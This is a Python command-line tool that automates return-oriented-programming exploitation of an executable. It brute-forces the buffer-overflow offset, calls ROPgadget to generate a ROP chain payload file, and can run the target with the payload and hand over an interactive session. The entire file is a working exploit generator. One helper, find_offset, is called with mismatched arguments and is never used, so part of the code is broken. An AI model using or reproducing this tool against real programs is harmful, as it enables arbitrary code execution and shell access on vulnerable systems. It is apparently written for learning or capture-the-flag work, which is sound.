import argparse
import atexit
import math
import os
import subprocess
import sys
import json
from contextlib import redirect_stderr

from pwnlib.context import context
from pwnlib.elf.corefile import Coredump
from pwnlib.tubes.process import process, signal, PTY
from pwnlib import term
from pwnlib.util.cyclic import cyclic, cyclic_find
from pwnlib.util.packing import pack
from pwnlib import atexit as pwnlibexit

# pwnlib has its own version of atexit to do stuff when the program exits, but uses sys.exitfunc
# to do so... unfortunately this was deprecated in python3 so it no longer works!
# either we use python2 or just re-register the pwnlib functions as follows
# why does everything use python2 :(
atexit.register(pwnlibexit._run_handlers)

# delete the corefiles on exit
context.update(delete_corefiles=True)

print(r'''
   _                ___       _.--.  ___        _____          ______ _____          ______ ______ 
\`.|\..----...-'`   `-._.-'_.-'`    / _ \      / ____|   /\   |____  / ____|   /\   |  ____|  ____|
/  ' `         ,       __.--'      | | | |_  _| |       /  \      / / |       /  \  | |__  | |__   
)/' _/     \   `-_,   /            | | | \ \/ / |      / /\ \    / /| |      / /\ \ |  __| |  __|
`-'" `"\_  ,_.-;_.-\_ ',           | |_| |>  <| |____ / ____ \  / / | |____ / ____ \| |    | |____ 
    _.-'_./   {_.'   ; /            \___//_/\_\\_____/_/    \_\/_/   \_____/_/    \_\_|    |______|
   {_.-``-'         {_/
''')

arg_parser = argparse.ArgumentParser(description="Run an automated ROP on an executable")
arg_parser.add_argument("exec_file", metavar="exec_file", type=str, help="The executable file to exploit")
arg_parser.add_argument("--rop_file", metavar="rop_file", default="rop.txt", type=str, help="The name of the generated ROP input file")
arg_parser.add_argument("--rop_exec_file", metavar="rop_exec", default="rop_exec.json", type=str, help="The path to the file containing the command for the ROP to run")
arg_parser.add_argument("--min_payload", metavar="min", default=32, type=int, help="The minimum payload length to try")
arg_parser.add_argument("--max_payload", metavar="max", default=16384, type=int, help="The maximum payload length to try")
arg_parser.add_argument("--input_method", metavar="method", choices=['arg', 'file', 'stdin'], default='arg', help="Method of passing the payload to the target binary")
arg_parser.add_argument("--run", action="store_true", default=False, help="Automatically run the ROP on the executable")

args = arg_parser.parse_args()

exec_file = args.exec_file
rop_file = args.rop_file
rop_exec_file = args.rop_exec_file
min_payload = args.min_payload
max_payload = args.max_payload
run = args.run
input_method = args.input_method

def run_program(payload: str, **kwargs):
    p = None
    if input_method == 'arg':
        p = process([f'./{exec_file}', payload], **kwargs)
    elif input_method == 'file':
        with open('/tmp/input.txt', 'wb') as f:
            f.write(payload)
            f.flush()
            p = process([f'./{exec_file}', '/tmp/input.txt'], **kwargs)
    elif input_method == 'stdin':
        p = process([f'./{exec_file}'], **kwargs)
        p.send(payload)
    
    return p


def find_offset_inc(low: int, high: int):
    for i in range(low, high + 1):
        print(f"  ├─[🤔] Trying payload {i}...")
        subprocess.run(
            [
                "ROPgadget",
                "--binary", exec_file,
                "--ropchain",
                "--silent",
                "--paddingLen", str(i),
                "--ropFile", rop_file,
                "--execFile", 'rop_exec_default.json',
            ],
            stdout = subprocess.PIPE
        )

        with open(rop_file, 'rb') as f:
            p = run_program(f.read())
            if b'[ Successful ROP! ]' in p.readall():
                print(f"  └─[😳] Found offset at {i}!\n")
                return i

    return -1
        

def find_offset(exec_file: str, min_payload: int, max_payload: int):
    print("[ Find Offset Length ]")

    payload_size = min_payload
    while payload_size <= max_payload:
        
        print(f"  ├─[🤔] Trying payload {payload_size}...")

        payload = cyclic(payload_size)
        proc = run_program(exec_file, payload, input_method, alarm=2)
        exit_code = proc.poll(block=True)
        x = proc.readall()
        print(x)

        if exit_code != 0:
            # ignore the warnings returned by pwnlib, if finding corefile fails then core is None
            with open("/dev/null", "w") as f, redirect_stderr(f):
                core = proc.corefile

            if core is not None and pack(core.eip) in payload:
                offset = cyclic_find(core.eip)
                print(f"  └─[😳] Found offset at {offset}!\n")
                return offset

        payload_size *= 2

    return -1


offset = find_offset_inc(min_payload, max_payload)

if offset == -1:
    print(f"  └─[😞] Failed to find offset. Try increasing the payload bounds and ensuring core dumps are enabled!")
    sys.exit(0)

print("[ Generate ROP ]")

print(f"  ├─[🤔] Running ROPgadget with offset {offset}...")
result = subprocess.run(
    [
        "ROPgadget",
        "--binary", exec_file,
        "--ropchain",
        "--silent",
        "--paddingLen", str(offset),
        "--ropFile", rop_file,
        "--execFile", rop_exec_file,
    ], 
    stdout = subprocess.PIPE
)
with open("log/ropgadget.log", "wb") as f:
    f.write(result.stdout)

print(f"  └─[🤩] All done! The ROP input is saved to {rop_file}!")

if run:
    atexit.unregister(pwnlibexit._run_handlers)
    pwnlibexit._run_handlers()

    print()
    print(f"[ Run Program : ./{exec_file} {rop_file} ]")
    with open(rop_file, 'rb') as f:
        term.init()
        p = run_program(f.read())
        p.interactive()